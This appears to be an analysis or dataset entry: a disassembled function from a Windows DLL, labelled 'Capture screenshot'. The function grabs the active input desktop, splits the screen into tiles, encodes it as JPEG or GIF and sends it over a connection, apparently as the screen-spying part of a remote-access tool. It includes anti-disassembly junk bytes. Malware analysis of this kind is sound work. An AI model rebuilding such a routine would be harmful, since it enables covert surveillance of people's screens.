Function at 0x10007790
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
mov dword [ebp - 0x264], ecx
push eax
xor eax, eax
xor eax, eax
je 0x100077b0
sub dword [edx], ebp
sub ebx, dword [eax - 0x75]
inc ebp
or byte [eax + 0x68], dl
inc ecx
pop ds
add byte [eax], al
pop eax
mov eax, dword [ebp + 8]
push eax
push 0x1f41
mov ecx, dword [ebp - 0x264]
add ecx, 0x134
call fcn.10004ad0
test eax, eax
je 0x100077ea
mov ecx, dword [ebp + 8]
push ecx
push 0x1f53
mov ecx, dword [ebp - 0x264]
add ecx, 0x20
call fcn.10004ad0
test eax, eax
jne 0x100077f1
xor eax, eax
jmp 0x1000834d
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 0x224], eax
push 0x2000000
push 0
push 0
call dword [sym.imp.USER32.dll_OpenInputDesktop]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x10007826
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
push 0
push 0
push 0
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCA]
mov dword [ebp - 0x220], eax
push 8
mov eax, dword [ebp - 0x220]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ecx, dword [ebp - 0x264]
mov dword [ecx + 0x18], eax
push 0xa
mov edx, dword [ebp - 0x220]
push edx
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ecx, dword [ebp - 0x264]
mov dword [ecx + 0x1c], eax
mov edx, dword [ebp - 0x264]
mov eax, dword [edx + 0x18]
cdq
mov ecx, 0x30
idiv ecx
test edx, edx
jne 0x100078a1
mov edx, dword [ebp - 0x264]
mov eax, dword [edx + 0x18]
cdq
mov ecx, 0x30
idiv ecx
mov edx, dword [ebp - 0x264]
mov dword [edx + 0x2a4], eax
jmp 0x100078c1
mov eax, dword [ebp - 0x264]
mov eax, dword [eax + 0x18]
cdq
mov ecx, 0x30
idiv ecx
add eax, 1
mov edx, dword [ebp - 0x264]
mov dword [edx + 0x2a4], eax
mov eax, dword [ebp - 0x264]
mov eax, dword [eax + 0x1c]
cdq
mov ecx, 0x30
idiv ecx
test edx, edx
jne 0x100078f5
mov edx, dword [ebp - 0x264]
mov eax, dword [edx + 0x1c]
cdq
mov ecx, 0x30
idiv ecx
mov edx, dword [ebp - 0x264]
mov dword [edx + 0x2a8], eax
jmp 0x10007915
mov eax, dword [ebp - 0x264]
mov eax, dword [eax + 0x1c]
cdq
mov ecx, 0x30
idiv ecx
add eax, 1
mov edx, dword [ebp - 0x264]
mov dword [edx + 0x2a8], eax
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 0x264]
mov edx, dword [eax + 0x2a4]
imul edx, dword [ecx + 0x2a8]
shl edx, 2
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x240], eax
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 0x240]
mov dword [eax + 0x298], ecx
mov edx, dword [ebp - 0x264]
mov eax, dword [ebp - 0x264]
mov ecx, dword [edx + 0x2a4]
imul ecx, dword [eax + 0x2a8]
shl ecx, 2
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x244], eax
mov edx, dword [ebp - 0x264]
mov eax, dword [ebp - 0x244]
mov dword [edx + 0x294], eax
mov ecx, dword [ebp - 0x264]
mov edx, dword [ecx + 0x1c]
push edx
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax + 0x18]
push ecx
mov edx, dword [ebp - 0x220]
push edx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [ebp - 0x264]
mov dword [ecx + 0x288], eax
push 0x30
mov edx, dword [ebp - 0x264]
mov eax, dword [ebp - 0x264]
mov ecx, dword [edx + 0x2a4]
imul ecx, dword [eax + 0x2a8]
imul ecx, ecx, 0x30
push ecx
mov edx, dword [ebp - 0x220]
push edx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [ebp - 0x264]
mov dword [ecx + 0x28c], eax
push 0x30
push 0x30
mov edx, dword [ebp - 0x220]
push edx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [ebp - 0x264]
mov dword [ecx + 0x290], eax
mov edx, dword [ebp - 0x264]
mov dword [edx + 0x25c], 0x28
mov eax, dword [ebp - 0x264]
mov dword [eax + 0x260], 0x30
mov ecx, dword [ebp - 0x264]
mov dword [ecx + 0x264], 0x30
mov edx, dword [ebp - 0x264]
mov word [edx + 0x268], 1
mov eax, dword [ebp - 0x264]
mov word [eax + 0x26a], 0x18
mov ecx, dword [ebp - 0x264]
mov dword [ecx + 0x26c], 0
push 0
mov edx, dword [ebp - 0x264]
add edx, 0x25c
push edx
push 0
push 0x30
push 0
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax + 0x290]
push ecx
mov edx, dword [ebp - 0x220]
push edx
call dword [sym.imp.GDI32.dll_GetDIBits]
mov eax, dword [ebp - 0x264]
mov eax, dword [eax + 0x270]
xor edx, edx
mov ecx, 0x30
div ecx
mov edx, dword [ebp - 0x264]
mov dword [edx + 0x24c], eax
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax + 0x24c]
shr ecx, 1
mov edx, dword [ebp - 0x264]
mov dword [edx + 0x250], ecx
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 0x264]
mov edx, dword [eax + 0x270]
imul edx, dword [ecx + 0x2a4]
mov eax, dword [ebp - 0x264]
imul edx, dword [eax + 0x2a8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [ebp - 0x264]
mov dword [ecx + 0x344], eax
mov edx, dword [ebp - 0x264]
add edx, 0x348
push edx
push 0
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax + 0x344]
push ecx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov edx, dword [ebp - 0x264]
mov eax, dword [ebp - 0x264]
mov ecx, dword [edx + 0x270]
imul ecx, dword [eax + 0x2a4]
mov edx, dword [ebp - 0x264]
imul ecx, dword [edx + 0x2a8]
mov eax, dword [ebp - 0x264]
mov dword [eax + 0x330], ecx
mov ecx, dword [ebp - 0x264]
mov edx, dword [ecx + 0x334]
push edx
mov eax, dword [ecx + 0x330]
push eax
mov ecx, dword [ebp - 0x264]
mov edx, dword [ecx + 0x348]
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax + 0x348]
mov eax, dword [ecx]
push edx
call dword [eax + 0x18]
mov ecx, dword [ebp - 0x264]
mov edx, dword [ecx + 0x344]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [ebp - 0x264]
mov dword [ecx + 0x340], eax
mov edx, dword [ebp - 0x264]
mov eax, dword [ebp - 0x264]
mov ecx, dword [edx + 0x2a4]
imul ecx, dword [eax + 0x2a8]
mov edx, dword [ebp - 0x264]
imul ecx, dword [edx + 0x270]
mov eax, dword [ebp - 0x264]
mov edx, dword [ebp - 0x264]
mov eax, dword [eax + 0x2a4]
imul eax, dword [edx + 0x2a8]
imul eax, eax, 0x21
add ecx, eax
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x248], eax
mov ecx, dword [ebp - 0x264]
mov edx, dword [ebp - 0x248]
mov dword [ecx + 0x254], edx
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 0x264]
mov edx, dword [eax + 0x2a4]
imul edx, dword [ecx + 0x2a8]
mov eax, dword [ebp - 0x264]
imul edx, dword [eax + 0x270]
mov ecx, dword [ebp - 0x264]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ecx + 0x2a4]
imul ecx, dword [eax + 0x2a8]
imul ecx, ecx, 0x21
add ecx, edx
xor eax, eax
mov edx, dword [ebp - 0x264]
mov edi, dword [edx + 0x254]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax + 0x270]
add ecx, 0x21
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x24c], eax
mov edx, dword [ebp - 0x264]
mov eax, dword [ebp - 0x24c]
mov dword [edx + 0x258], eax
mov ecx, dword [ebp - 0x264]
mov ecx, dword [ecx + 0x270]
add ecx, 0x21
xor eax, eax
mov edx, dword [ebp - 0x264]
mov edi, dword [edx + 0x258]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [ebp - 0x220]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x264]
mov edx, dword [ecx + 0x288]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
mov ecx, dword [ebp - 0x220]
push ecx
mov edx, dword [ebp - 0x264]
mov eax, dword [edx + 0x1c]
push eax
mov ecx, dword [ebp - 0x264]
mov edx, dword [ecx + 0x18]
push edx
push 0
push 0
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [ebp - 0x220]
push ecx
call dword [sym.imp.GDI32.dll_DeleteDC]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [ebp - 0x234], eax
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax + 0x290]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.GDI32.dll_SelectObject]
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax + 0x254]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x230], 0
jmp 0x10007d93
mov edx, dword [ebp - 0x230]
add edx, 1
mov dword [ebp - 0x230], edx
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 0x230]
cmp ecx, dword [eax + 0x2a8]
jge 0x10007e58
mov dword [ebp - 0x23c], 0
jmp 0x10007dc6
mov edx, dword [ebp - 0x23c]
add edx, 1
mov dword [ebp - 0x23c], edx
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 0x23c]
cmp ecx, dword [eax + 0x2a4]
jge 0x10007e53
push 0xcc0020
mov edx, dword [ebp - 0x230]
imul edx, edx, 0x30
push edx
mov eax, dword [ebp - 0x23c]
imul eax, eax, 0x30
push eax
mov ecx, dword [ebp - 0x18]
push ecx
push 0x30
push 0x30
push 0
push 0
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
mov eax, dword [ebp - 0x264]
add eax, 0x25c
push eax
mov ecx, dword [ebp - 0x14]
push ecx
push 0x30
push 0
mov edx, dword [ebp - 0x264]
mov eax, dword [edx + 0x290]
push eax
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.GDI32.dll_GetDIBits]
mov edx, dword [ebp - 0x264]
mov eax, dword [ebp - 0x14]
add eax, dword [edx + 0x270]
mov dword [ebp - 0x14], eax
jmp 0x10007db7
jmp 0x10007d84
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.GDI32.dll_DeleteDC]
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.GDI32.dll_DeleteDC]
mov eax, dword [ebp - 0x224]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
mov dword [ebp - 0x238], 4
mov word [ebp - 0x22c], 0
xor ecx, ecx
mov dword [ebp - 0x22a], ecx
mov edx, dword [ebp - 0x264]
mov ax, word [edx + 0x18]
mov word [ebp - 0x22c], ax
mov ecx, dword [ebp - 0x264]
mov dx, word [ecx + 0x1c]
mov word [ebp - 0x22a], dx
mov word [ebp - 0x228], 0x30
push 0
lea eax, [ebp - 0x238]
push eax
mov ecx, dword [ebp - 0x264]
add ecx, 8
push ecx
push 6
lea edx, [ebp - 0x22c]
push edx
mov ecx, dword [ebp - 0x264]
add ecx, 0x134
call fcn.10004cb0
or eax, eax
jne 0x10007efa
xor eax, eax
jmp 0x1000834d
mov eax, dword [ebp - 0x264]
xor ecx, ecx
mov cx, word [eax + 8]
cmp ecx, 1
jne 0x10007f34
mov edx, dword [ebp - 0x264]
mov dword [edx + 0x2b8], 0x1e
push str.image_jpeg
mov eax, dword [ebp - 0x264]
add eax, 0x2ec
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x10007f86
mov ecx, dword [ebp - 0x264]
xor edx, edx
mov dx, word [ecx + 8]
cmp edx, 2
jne 0x10007f5e
push str.image_gif
mov eax, dword [ebp - 0x264]
add eax, 0x2ec
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x10007f86
mov ecx, dword [ebp - 0x264]
mov dword [ecx + 0x2b8], 0x64
push str.image_jpeg
mov edx, dword [ebp - 0x264]
add edx, 0x2ec
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x264]
add eax, 0x2bc
push eax
mov ecx, dword [ebp - 0x264]
add ecx, 0x2ec
push ecx
call fcn.1000a580
add esp, 8
mov edx, dword [ebp - 0x264]
mov dword [edx + 0x2cc], 1
mov eax, dword [ebp - 0x264]
add eax, 0x2d0
mov ecx, dword [0x100123dc]
mov dword [eax], ecx
mov edx, dword [0x100123e0]
mov dword [eax + 4], edx
mov ecx, dword [0x100123e4]
mov dword [eax + 8], ecx
mov edx, dword [0x100123e8]
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 0x264]
mov dword [eax + 0x2e4], 4
mov ecx, dword [ebp - 0x264]
mov dword [ecx + 0x2e0], 1
mov edx, dword [ebp - 0x264]
add edx, 0x2b8
mov eax, dword [ebp - 0x264]
mov dword [eax + 0x2e8], edx
mov byte [ebp - 0x218], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x217]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x218]
push ecx
push 0x40000000
mov ecx, dword [ebp - 0x264]
add ecx, 0x134
call fcn.10004860
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x218]
push eax
mov ecx, dword [ebp - 0x264]
add ecx, 0x134
call fcn.10004100
test eax, eax
jne 0x10008084
xor eax, eax
jmp 0x1000834d
mov ecx, dword [ebp - 0x264]
mov dword [ecx + 0x330], 0
mov dword [ecx + 0x334], 0
mov edx, dword [ebp - 0x264]
mov dword [edx + 0x338], 0
mov dword [edx + 0x33c], 0
mov eax, dword [ebp - 0x264]
add eax, 0x330
push eax
push 0
mov ecx, dword [ebp - 0x264]
mov edx, dword [ecx + 0x33c]
push edx
mov eax, dword [ecx + 0x338]
push eax
mov ecx, dword [ebp - 0x264]
mov edx, dword [ecx + 0x348]
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax + 0x348]
mov eax, dword [ecx]
push edx
call dword [eax + 0x14]
push 0
mov ecx, dword [ebp - 0x264]
mov edx, dword [ecx + 0x288]
push edx
call fcn.100087f0
add esp, 8
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax + 0x348]
mov dword [ebp - 0x260], ecx
mov edx, dword [ebp - 0x264]
add edx, 0x2cc
push edx
mov eax, dword [ebp - 0x264]
add eax, 0x2bc
push eax
mov ecx, dword [ebp - 0x260]
push ecx
mov edx, dword [ebp - 0x21c]
mov eax, dword [edx + 4]
push eax
call fcn.10010fb6
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0
je 0x10008182
mov ecx, dword [ebp - 0x21c]
mov edx, dword [ebp - 0x258]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0x25c], eax
jmp 0x1000818e
mov ecx, dword [ebp - 0x258]
mov dword [ebp - 0x25c], ecx
mov edx, dword [ebp - 0x21c]
mov dword [ebp - 0x254], edx
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0
je 0x100081c9
push 1
mov ecx, dword [ebp - 0x250]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x250]
call dword [edx]
mov dword [ebp - 0x268], eax
jmp 0x100081d3
mov dword [ebp - 0x268], 0
mov eax, dword [ebp - 0x264]
mov dword [eax + 0x330], 0
mov dword [eax + 0x334], 0
mov ecx, dword [ebp - 0x264]
mov dword [ecx + 0x338], 0
mov dword [ecx + 0x33c], 0
mov edx, dword [ebp - 0x264]
add edx, 0x330
push edx
push 1
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax + 0x33c]
push ecx
mov edx, dword [eax + 0x338]
push edx
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax + 0x348]
mov edx, dword [ebp - 0x264]
mov eax, dword [edx + 0x348]
mov edx, dword [eax]
push ecx
call dword [edx + 0x14]
push 4
mov eax, dword [ebp - 0x264]
add eax, 0x330
push eax
mov ecx, dword [ebp - 0x264]
add ecx, 0x134
call fcn.10004100
test eax, eax
je 0x1000829a
mov ecx, dword [ebp - 0x264]
mov edx, dword [ecx + 0x330]
push edx
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax + 0x340]
push ecx
mov ecx, dword [ebp - 0x264]
add ecx, 0x134
call fcn.10004100
test eax, eax
jne 0x100082a1
xor eax, eax
jmp 0x1000834d
mov dword [ebp - 0xc], 0
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x264]
push eax
push 0
push 0x10008360
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x264]
push ecx
push 0
push 0x100071d0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x264]
push edx
push 0
push 0x100070a0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov dword [ebp - 4], eax
push 0xffffffffffffffff
push 1
lea eax, [ebp - 0xc]
push eax
push 3
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov ecx, dword [ebp - 0x264]
mov dword [ecx + 0x2b4], 1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x264]
add ecx, 0x134
call fcn.10004c70
mov ecx, dword [ebp - 0x264]
add ecx, 0x20
call fcn.10004c70
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4